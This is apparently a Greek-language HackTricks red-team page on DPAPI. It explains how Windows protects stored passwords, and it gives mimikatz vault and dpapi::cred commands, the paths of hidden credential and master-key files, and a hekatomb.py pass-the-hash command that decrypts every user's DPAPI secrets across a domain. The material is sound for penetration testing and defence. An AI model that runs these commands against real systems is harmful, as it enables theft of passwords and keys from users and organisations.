DPAPI - Extracting Passwords

Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

​​RootedCON είναι το πιο σημαντικό συνέδριο κυβερνοασφάλειας στην Ισπανία και ένα από τα πιο σημαντικά στην Ευρώπη. Με αποστολή την προώθηση της τεχνικής γνώσης, αυτό το συνέδριο είναι ένας ζωντανός σημείο συνάντησης για επαγγελματίες τεχνολογίας και κυβερνοασφάλειας σε κάθε ειδικότητα.

Τι είναι το DPAPI

Το Data Protection API (DPAPI) χρησιμοποιείται κυρίως στο λειτουργικό σύστημα Windows για τη συμμετρική κρυπτογράφηση ασύμμετρων ιδιωτικών κλειδιών, εκμεταλλευόμενο είτε τα μυστικά του χρήστη είτε τα μυστικά του συστήματος ως σημαντική πηγή εντροπίας. Αυτή η προσέγγιση απλοποιεί την κρυπτογράφηση για τους προγραμματιστές επιτρέποντάς τους να κρυπτογραφούν δεδομένα χρησιμοποιώντας ένα κλειδί που προέρχεται από τα μυστικά σύνδεσης του χρήστη ή, για την κρυπτογράφηση του συστήματος, τα μυστικά ελέγχου τομέα του συστήματος, απαλλάσσοντας έτσι τους προγραμματιστές από την ανάγκη να διαχειρίζονται την προστασία του κλειδιού κρυπτογράφησης.

Δεδομένα που προστατεύονται από το DPAPI

Μεταξύ των προσωπικών δεδομένων που προστατεύονται από το DPAPI περιλαμβάνονται:

  • Οι κωδικοί πρόσβασης του Internet Explorer και του Google Chrome και τα δεδομένα αυτόματης συμπλήρωσης

  • Οι κωδικοί πρόσβασης για τα email και τους εσωτερικούς λογαριασμούς FTP για εφαρμογές όπως το Outlook και το Windows Mail

  • Οι κωδικοί πρόσβασης για κοινόχρηστους φακέλους, πόρους, ασύρματα δίκτυα και το Windows Vault, συμπεριλαμβανομένων των κλειδιών κρυπτογράφησης

  • Οι κωδικοί πρόσβασης για συνδέσεις απομακρυσμένης επιφάνειας εργασίας, το .NET Passport και τα ιδιωτικά κλειδιά για διάφορους σκοπούς κρυπτογράφησης και πιστοποίησης

  • Οι κωδικοί πρόσβασης δικτύου που διαχειρίζεται ο Διαχειριστής Πιστοποιητικών και τα προσωπικά δεδομένα σε εφαρμογές που χρησιμοποιούν τη CryptProtectData, όπως το Skype, το MSN Messenger και άλλα

Λίστα Θησαυροφυλακίου

# From cmd
vaultcmd /listcreds:"Windows Credentials" /all

# From mimikatz
mimikatz vault::list

Αρχεία διαπιστευτηρίων

Τα αρχεία διαπιστευτηρίων που προστατεύονται μπορεί να βρίσκονται στις εξής τοποθεσίες:

dir /a:h C:\Users\username\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\username\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Local\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Roaming\Microsoft\Credentials\

Αποκτήστε πληροφορίες διαπιστευτήριων χρησιμοποιώντας το mimikatz dpapi::cred, στην απόκριση μπορείτε να βρείτε ενδιαφέρουσες πληροφορίες, όπως τα κρυπτογραφημένα δεδομένα και το guidMasterKey.

mimikatz dpapi::cred /in:C:\Users\<username>\AppData\Local\Microsoft\Credentials\28350839752B38B238E5D56FDD7891A7

[...]
guidMasterKey      : {3e90dd9e-f901-40a1-b691-84d7f647b8fe}
[...]
pbData             : b8f619[...snip...]b493fe
[..]

Μπορείτε να χρησιμοποιήσετε το mimikatz module dpapi::cred με το κατάλληλο /masterkey για να αποκρυπτογραφήσετε:

dpapi::cred /in:C:\path\to\encrypted\file /masterkey:<MASTERKEY>

Κλειδιά Master

Τα κλειδιά DPAPI που χρησιμοποιούνται για την κρυπτογράφηση των RSA κλειδιών του χρήστη αποθηκεύονται στον φάκελο %APPDATA%\Microsoft\Protect\{SID}, όπου το {SID} είναι το Αναγνωριστικό Ασφαλείας του συγκεκριμένου χρήστη. Το κλειδί DPAPI αποθηκεύεται στον ίδιο αρχείο με το κύριο κλειδί που προστατεύει τα ιδιωτικά κλειδιά του χρήστη. Συνήθως είναι 64 bytes τυχαίων δεδομένων. (Παρατηρήστε ότι αυτός ο φάκελος είναι προστατευμένος, οπότε δεν μπορείτε να τον εμφανίσετε χρησιμοποιώντας την εντολή dir από το cmd, αλλά μπορείτε να τον εμφανίσετε από το PS).

Get-ChildItem C:\Users\USER\AppData\Roaming\Microsoft\Protect\
Get-ChildItem C:\Users\USER\AppData\Local\Microsoft\Protect
Get-ChildItem -Hidden C:\Users\USER\AppData\Roaming\Microsoft\Protect\
Get-ChildItem -Hidden C:\Users\USER\AppData\Local\Microsoft\Protect\
Get-ChildItem -Hidden C:\Users\USER\AppData\Roaming\Microsoft\Protect\{SID}
Get-ChildItem -Hidden C:\Users\USER\AppData\Local\Microsoft\Protect\{SID}

Αυτό είναι πώς θα φαίνονται μια σειρά από Master Keys ενός χρήστη:

Συνήθως, κάθε Master Key είναι ένα κρυπτογραφημένο συμμετρικό κλειδί που μπορεί να αποκρυπτογραφήσει άλλο περιεχόμενο. Επομένως, είναι ενδιαφέρον να εξάγουμε το κρυπτογραφημένο Master Key για να το αποκρυπτογραφήσουμε αργότερα το άλλο περιεχόμενο που έχει κρυπτογραφηθεί με αυτό.

Εξαγωγή Master Key & αποκρυπτογράφηση

Ελέγξτε την ανάρτηση https://www.ired.team/offensive-security/credential-access-and-credential-dumping/reading-dpapi-encrypted-secrets-with-mimikatz-and-c++ για ένα παράδειγμα πώς να εξάγετε το master key και να το αποκρυπτογραφήσετε.

SharpDPAPI

Το SharpDPAPI είναι μια μεταφορά της λειτουργικότητας του DPAPI από το έργο Mimikatz του @gentilkiwi.

HEKATOMB

Το HEKATOMB είναι ένα εργαλείο που αυτοματοποιεί την εξαγωγή όλων των χρηστών και υπολογιστών από τον κατάλογο LDAP και την εξαγωγή του κλειδιού αντιγράφου ασφαλείας του ελεγκτή του τομέα μέσω του RPC. Στη συνέχεια, το σενάριο θα επιλύσει τη διεύθυνση IP όλων των υπολογιστών και θα εκτελέσει ένα smbclient σε όλους τους υπολογιστές για να ανακτήσει όλα τα DPAPI blobs όλων των χρηστών και να αποκρυπτογραφήσει τα πάντα με το κλειδί αντιγράφου ασφαλείας του τομέα.

python3 hekatomb.py -hashes :ed0052e5a66b1c8e942cc9481a50d56 DOMAIN.local/administrator@10.0.0.1 -debug -dnstcp

Με τη λίστα υπολογιστών που εξάγονται από τον κατάλογο LDAP, μπορείτε να βρείτε κάθε υποδίκτυο ακόμα κι αν δεν τα γνωρίζατε!

"Επειδή οι δικαιώματα του Domain Admin δεν είναι αρκετά. Χακάρετε τους όλους."

DonPAPI

Το DonPAPI μπορεί να αποκτήσει αυτόματα μυστικά που προστατεύονται από το DPAPI.

Αναφορές

RootedCON είναι το πιο σχετικό συνέδριο κυβερνοασφάλειας στην Ισπανία και ένα από τα πιο σημαντικά στην Ευρώπη. Με αποστολή την προώθηση της τεχνικής γνώσης, αυτό το συνέδριο είναι ένας ζωντανός σημείο συνάντησης για επαγγελματίες τεχνολογίας και κυβερνοασφάλειας σε κάθε ειδικότητα.

Μάθετε το hacking στο AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Last updated